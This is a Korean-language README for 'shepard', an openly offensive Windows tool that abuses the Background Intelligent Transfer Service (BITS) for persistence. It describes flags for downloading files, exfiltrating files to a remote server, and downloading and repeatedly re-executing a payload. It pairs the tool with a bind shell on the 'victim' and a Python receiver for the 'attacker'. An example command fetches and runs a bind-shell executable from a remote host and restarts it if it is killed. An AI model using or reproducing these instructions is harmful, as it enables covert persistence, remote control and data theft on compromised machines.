d3adzo/shepardWindows BITS를 사용하는 진행 중인 지속적 다운로드/업로드/실행 도구.
이 도구는 Windows BITS(Background Intelligent Transfer Service)를 활용한 지속성 유지 도구입니다.
파일 다운로드, 파일 유출, 파일 다운로드 + 지속적 실행
shepard.exe를 관리자 권한으로 실행하고 다음 명령줄 인자를 사용합니다:
-d <remoteLocation> <writePath> : 선택한 로컬 경로로 일반 파일 다운로드
-e <remoteLocation> <localPath> : 선택한 로컬 경로에서 일반 파일 업로드 (IIS 서버로만 전송 가능, 이는 BITS의 제한사항입니다)
-dr <remoteLocation> <writePath> [optionalFileArgs] : 선택한 경로로 파일 다운로드 및 지속성 유지 시도. 다운로드된 파일은 optionalFileArgs와 함께 실행을 시도하며, BITS는 30초마다 확인하여 침해된 시스템에서 파일이 계속 실행 중인지 확인합니다.
인자 없이 또는 잘못된 개수의 인자로 실행하면 shepard가 정상 종료됩니다.
서버(피해자)는 C#으로 작성되었습니다. 6006 포트에서 수신 대기합니다.
shepardsbind_serv.exe를 인자 없이 실행합니다.
클라이언트(공격자)는 Python으로 작성되었으며, 하나의 인자(피해자 머신의 IP 주소)를 받습니다.
shepardsbind_recv.py <victim's IP>
인자 없이 shepardsbind_recv.py를 실행하면 오류가 반환됩니다.
피해자 머신에 있어야 하는 유일한 실행 파일은 shepard.exe입니다. 다운로드할 bindshell 실행 파일을 공개적으로 접근 가능한 위치에 호스팅하세요. Shepard가 bindshell 실행 파일을 다운로드하여 실행하면, 사용자는 이제 python 수신기를 사용할 수 있습니다. 셀이 발견되어 종료되면 30초 후에 다시 시작됩니다.
예시: shepard.exe -dr http://location.com/shepardsbind_serv.exe C:\Users\Administrator\file.exe
